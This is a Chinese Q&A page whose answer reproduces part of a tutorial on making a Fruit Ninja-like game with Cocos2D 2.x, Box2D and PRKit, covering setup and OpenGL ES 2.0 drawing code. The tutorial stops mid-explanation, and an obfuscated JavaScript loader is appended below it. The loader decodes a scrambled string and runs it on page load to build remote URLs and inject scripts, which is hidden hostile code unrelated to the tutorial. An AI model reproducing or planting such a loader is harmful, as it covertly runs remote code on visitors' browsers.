如何使用Box2D和Cocos2D制作一款像Fruit Ninja一样的游戏

2025-04-08 03:29:40
推荐回答(1个)
回答1:

在大多数切东西的游戏中,当你画一条线划过一个图片精灵时,他们的做法基本上是把图片精灵转变为两个预先画好的被从中间切开的图片精灵,而并不会依照你划过的实际位置。 但是本篇教程将演示一个更cool的技术。我们的水果可以被切割多次,并且它们会根据实际切割的路线动态的分割! 正如你所想的,这是一种高级的技术,所以本篇教程面向的是高阶的Cocos2D和Box2D开发者。如果你刚刚接触Cocos2D和Box2D,你可以先跟随Cocos2D入门和Box2D入门这两篇教程,再继续本篇教程的学习。 本篇教程一共分为3部分: 在第1部分中,你会为游戏打基础,并学习如何创建textured polygons(纹理多边形)。第2部分会教你如何切和分割这些textured polygons。第3部分会教你添加游戏性和特效并将之前的内容变成一个完整的游戏。 特别感谢Rick Smorawski为本篇教程中的工程所做的基础性工作。他负责把flash-based slicing demo移植到了Cocos2D上,并把CCBlade和PRKit转换到了Cocos2D 2.0。 查看下面的视频,你就知道我们将要学习多么cool的新技术了! 游戏Demo 这是一个demo视频,它会演示给你在接下来的教学中马上要做的: 正如我之前提到的,你看到的切水果的效果动感十足。水果会根据你划的位置被切割,并且由于你可以多次的切割它们,你甚至可以把它们切成碎块儿! 视频中你还能看到有一个很cool的刀光效果、一些粒子特效、游戏的逻辑和一些为游戏添彩的音效。 好多的内容啊,那么,让我们开始吧! 项目准备工作 你将要在本项目中使用Cocos2D 2.X,如果你还没有它请前往这里下载。注意你完全可以使用Cocos2D 1.X来代替Cocos2D 2.X,你可以略过本篇教学中转换PRKit和CCBlade到Cocos2.X的部分,但是请留意那些类中其他的小改动。 下载完成后,双击tar文件解压,然后在终端中的以下命令安装它:cd ~/Downloads/cocos2d-iphone-2.0-beta ./install-templates.sh -f -u 启动Xcode并使用iOScocos2d v2.xcocos2d iOS with Box2d模板创建一个新工程,将其命名为CutCutCut。 新的工程看起来应该像这样: 首当其冲的,你应该对模板生成的工程做一些清理,已让其有一个好的起点。 打开HelloWorldLayer.h,移除以下行:CCTexture2D *spriteTexture_;// weak ref 切换到HelloWorldLayer.mm并做如下修改:// Remove this line from the top#import "PhysicsSprite.h" // Replace the init method with this-(id) init {if((self=[super init])){// enable events self.isTouchEnabled =YES; self.isAccelerometerEnabled =YES; CGSize s =[CCDirector sharedDirector].winSize; // init physics[self initPhysics]; [self scheduleUpdate]; }return self; } // Remove these two methods-(void) createMenu {//all content}-(void) addNewSpriteAtPosition:(CGPoint)p methods {//all content} // Remove this line from ccTouchesEnded[self addNewSpriteAtPosition: location]; 到此时,你已经从HelloWorldLayer中移除了全部的PhysicsSprite(有物理特性的精灵)的引用,但你还没有从项目中删除它们的文件。由于稍后你需要从PhysicsSprite.mm中拷贝一个方法,所以我们目前先留着它。 使用快捷键Command+R编译并运行你的项目,你将会看到一个被绿色边框包围的黑色屏幕: 剩下的模板代码设置了Box2D的debug drawing,这一功能可以把所有Box2D物体都画在屏幕上。看到屏幕周围绿色的线了吧?它们就是使用项目默认的initPhysics方法生成的墙。 浏览一下项目中其余的代码,确保你明白了所有的逻辑,它初始化了Box2D world,设置了了地面(绿色的边界),设置了debug drawing等等。 资源包 接下来请下载项目需要的资源并解压文件。 请先不要把所有东西都加入工程,其中一些文件实际上是可选的。让这个文件夹一直在手边,随着本篇教程的进行,我会指导你添加一些文件到项目中去。 以下是你在这个包中能找到的: 一个背景图片和一系列水果的图片,它们都是由Vicki制作的,Images文件夹中还有其他的各种各样的图片。 背景音乐是使用gomix.it混合制作的,它们在Sounds文件夹中。 音效一部分是使用bfxr制作的,另一部分是从freesound下载的,他们在Sounds文件夹中。 所有的粒子系统都是由Particle Designer制作的,它们在Particles文件夹中。 一个由PhysicsEditor生成的PLIST文件,它包含了Fruits和Bomb类的顶点信息,在Misc文件夹中。 Fruits和Bomb类,在Classes文件夹中。PRKit 和CCBlade,教程中你将会用到它们,在Classes文件夹中。 声音资源的作者列表,在Misc文件夹中。 使用PRKit绘制纹理多边形 我们的目标是把精灵切成很多份。通常一个CCSprite包含一个texture(纹理)和一个无视图形真正形状的碰撞框。这个矩形的碰撞框并不适合我们的游戏,因为知道精灵的实际形状对于切割它是重要的一个步骤。 你需要创建一个纹理多边形,它会完成如下功能: 创建一个多边形/形状和一个相应形状的图片(纹理映射) 只显示在多边形范围之内的图片部分(纹理填充) Cocos2D和Box2D都没有提供可以完成此功能的类,通常来说,这需要使用一些三角变换,外加自定义的OpenGL绘制模式。 听起来很困难是吗? 幸运的是,所有复杂的计算和完成这些的绘制代码都已经被Precognitive Research这里的人实现了。他们基于Cocos2D创建了一个叫做PRKit的库,这个库可以处理纹理映射和纹理填充。 我们来进一步研究纹理多边形,先从这里下载PRKit,解压它,并把PRKit文件夹拖拽进你的项目中。确保”Copy items into destination group’s folder”和”Create groups for any added folders”都是选中的。 注意,PRKit是由Precognitive Research维护的,它以后有可能更新。为了避免引起疑惑,我们的资源包里包含的是我在做本篇教学时PRKit的版本。 你的项目现在应该包含三个文件了: 编译并运行,你将会遇到一些错误: 这些错误是由于PRKit是针对Cocos2D 1.X版本的,1.X版本使用的是OpenGL ES 1.1,然而你目前使用的是Cocos2D 2.X,它使用的是OpenGL ES 2.0,它们两者之间存在着巨大的差异。 想要修复它们,首先打开PRFilledPolygon.m并做以下修改:// Add inside the initWithPoints: andTexture: usingTriangulator: method self.shaderProgram =[[CCShaderCache sharedShaderCache] programForKey:kCCShader_PositionTexture]; // Replace the calculateTextureCoordinates method with this-(void) calculateTextureCoordinates {for(int j =0; j < areaTrianglePointCount; j++){ textureCoordinates[j]= ccpMult(areaTrianglePoints[j],1.0f/texture.pixelsWide*CC_CONTENT_SCALE_FACTOR()); textureCoordinates[j].y =1- textureCoordinates[j].y; }} // Replace the draw method with this-(void) draw{ CC_NODE_DRAW_SETUP(); ccGLBindTexture2D( self.texture.name ); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT); ccGLBlendFunc( blendFunc.src, blendFunc.dst); ccGLEnableVertexAttribs( kCCVertexAttribFlag_Position | kCCVertexAttribFlag_TexCoords ); glVertexAttribPointer(kCCVertexAttrib_Position, 2, GL_FLOAT, GL_FALSE, 0, areaTrianglePoints); glVertexAttribPointer(kCCVertexAttrib_TexCoords, 2, GL_FLOAT, GL_FALSE, 0, textureCoordinates); glDrawArrays(GL_TRIANGLES, 0, areaTrianglePointCount); } 让我们一步一步过一遍以上代码。 首先,在Cocos2D中,每一个CCNode又有一个关联的OpenGL ES 2.0 shader program(着色程序)。为了画出PRFilledPolygon,你需要请求一个内建的的”Position/Texture” shader,你在init方法中指定它。 接下来,你需要为纹理正确地计算每一个多边形坐标。为了达成此目标,你需要对calculateTextureCoordinates方法做两处修改:比率: 因为此类会计算它自己的纹理坐标,它并不会自动处理高清模式。解决它的方法仅仅需要将texture.pixelsWide乘上CC_CONTENT_SCALE_FACTOR,CC_CONTENT_SCALE_FACTOR是一个Cocos2D提供的方便的低清高清坐标转换的系数。翻转Y: 由于某些原因,PRFilledPolygon会把纹理绘制成倒的,所以你要把y值翻转。 最后,draw函数里边的代码被更新为了OpenGL ES 2.0的,这一处理方式与CCSprite的draw从Cocos2D 1.X到2.X的变化雷同: 首先调用CC_NODE_DRAW_SETUP()为绘制作准备。 glDisableClientState() 和 glEnableClientState()方法是废弃的,不必再调用了。 glVertexPointer() 和 glTexCoordPointer()都被glVertexAttribPointer()方法替代了,glVertexAttribPointer()方法使用Vertex Position 和 Texture Coordinate作为它的参数。 以前需要配置glTexEnvf()用来处理多边形比纹理大的情况,以让纹理重复绘制,现在使用glTexParameteri()代替之。 如果你对以上任意一点感到困惑的话,你可以去查阅OpenGL ES 2.0 for iPhone和Custom Cocos2D 2.X Shaders两篇教程来获取更多的背景知识。但是你并不需要产生的困惑担心过多,因为到目前为止我们所做的就是把这个类转换到能在Cocos2D 2.X使用而已 :] 编译并运行,所有的PRKit的错误都消失了! 是时候实际应用PRKit了。创建一个负责绘制水果的基础类PolygonSprite,它继承自PRKit中的PRFilledPolygon类。 PolygonSprite在PRFilledPolygon基础上创建,引入了一个关联的Box2D body到sprite上,同时它还包含了其他为了完成水果的游戏逻辑的自定义的变量和方法。 我们这就创建它。按Command+N创建一个新文件,选择iOScocos2d v2.xCCNode Class template,使他成为PRFilledPolygon的子类并将其命名为PolygonSprite.m。 切换到PolygonSprite.h并做如下修改:// Add to top of file#import "Box2D.h"#import "PRFilledPolygon.h"#define PTM_RATIO 32 // Add inside @interface b2Body *_body; BOOL _original; b2Vec2 _centroid; // Add after the @interface@property(nonatomic,assign)b2Body *body; @property(nonatomic,readwrite)BOOL original; @property(nonatomic,readwrite)b2Vec2 centroid; // Add before the @end-(id)initWithTexture:(CCTexture2D*)texture body:(b2Body*)body original:(BOOL)original; -(id)initWithFile:(NSString*)filename body:(b2Body*)body original:(BOOL)original; +(id)spriteWithFile:(NSString*)filename body:(b2Body*)body original:(BOOL)original; +(id)spriteWithTexture:(CCTexture2D*)texture body:(b2Body*)body original:(BOOL)original; -(id)initWithWorld:(b2World*)world; +(id)spriteWithWorld:(b2World*)world; -(b2Body*)createBodyForWorld:(b2World*)world position:(b2Vec2)position rotation:(float)rotation vertices:(b2Vec2*)vertices vertexCount:(int32)count density:(float)density friction:(float)friction restitution:(float)restitution; -(void)activateCollisions; -(void)deactivateCollisions; 以上代码声明了PolygonSprite的基础变量和方法。它们是:body: 这是一个关联到sprite的Box2D body。它用来模拟物理特性。

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();